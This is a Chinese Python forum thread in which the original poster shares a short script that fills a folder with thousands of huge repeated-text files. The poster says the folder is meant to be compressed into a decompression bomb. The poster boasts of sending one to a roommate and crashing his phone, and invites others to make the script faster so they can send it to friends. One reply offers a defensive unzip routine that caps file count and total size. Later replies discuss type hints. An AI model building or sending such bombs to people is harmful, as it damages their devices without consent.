鱼C论坛

 找回密码
 立即注册
查看: 1949|回复: 10

[作品展示] 用python写了个文件炸弹

[复制链接]
发表于 2022-6-12 17:55:43 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
import os
def make_boom(file_path,file_num,string_len):
    if not os.path.exists(file_path):
        os.mkdir(file_path)
    os.chdir(file_path)
    for i in range(file_num):
        with open('boom%d.txt'%i,'w',encoding='utf-8') as f:
            f.write('Boom'*string_len)

make_boom('zip_boom',10000,10000*10000)

很简单的一段代码,运行速度太慢了,按我设置的这个参数运行的话估计得运行一个半小时,运行后生成的文件大小在3.6TB左右,压缩后估计几百MB,我用这段代码运行了十分钟,生成了一个276GB的文件夹,压缩后只有14MB,压缩后发给我一个憨逼舍友,成功把他手机整死机了,我不会增加线程,有会的可以改一下发给朋友
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2022-6-12 19:21:57 From FishC Mobile | 显示全部楼层
有你这样的朋友,可是倒了血霉
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 08:53:31 | 显示全部楼层
wp231957 发表于 2022-6-12 19:21
有你这样的朋友,可是倒了血霉

那不怪我,我群里都说了,他还瞎解压
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 09:53:48 | 显示全部楼层
我记得有个什么文件炸弹压缩后只有几KB的  解压以后也是几TB的
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 10:20:38 | 显示全部楼层
骚年¥学编程 发表于 2022-6-13 09:53
我记得有个什么文件炸弹压缩后只有几KB的  解压以后也是几TB的

那种压缩炸弹和我这种原理不同吧
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 11:40:23 | 显示全部楼层
import zipfile
import os

def unzip(filename: str):
    # 限制最大文件数100
    max_file_num = 100
    # 设置解压内容最大值(一般平均最大的压缩率20,再高就很可能是异常文件了!)
    max_file_size = 1024 * 1024 * 100 * 20
    total_size = 0
    to_zip_file = zipfile.ZipFile(filename)
    dirname = filename.replace('.zip', '')
    # 校验文件总数量
    if len(to_zip_file.filelist) > max_file_num:
        raise ValueError("压缩文件的数量超过了上限")
    # 校验解压文件内容最大值
    for file in to_zip_file.filelist:
        total_size += file.file_size
        if total_size > max_file_size:
            raise IOError("压缩包内容异常")
    # 判断文件夹重复则退出
    if os.path.exists(dirname):
        print(f'{dirname} dir has already existed')
        return -1
    else:
        # 创建文件夹,并解压
        os.mkdir(dirname)
        to_zip_file.extractall(dirname)
        to_zip_file.close()

unzip('zip_boom.zip')
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 13:40:25 | 显示全部楼层

我不了解zipfile模块,不敢随便运行
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 13:43:21 | 显示全部楼层

第四行那里  filename: str  是什么意思
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 14:24:55 | 显示全部楼层
小丑9 发表于 2022-6-13 13:43
第四行那里  filename: str  是什么意思

def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字
filename:str  形参名字  指定参数类型为字符型
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2022-6-13 14:27:43 | 显示全部楼层
骚年¥学编程 发表于 2022-6-13 14:24
def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字

指定参数类型为字符型是将传入的实参转化成字符串吗?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2022-6-13 15:02:09 | 显示全部楼层
小丑9 发表于 2022-6-13 14:27
指定参数类型为字符型是将传入的实参转化成字符串吗?

是只能传入字符串类型的数值
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-11-17 23:34

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表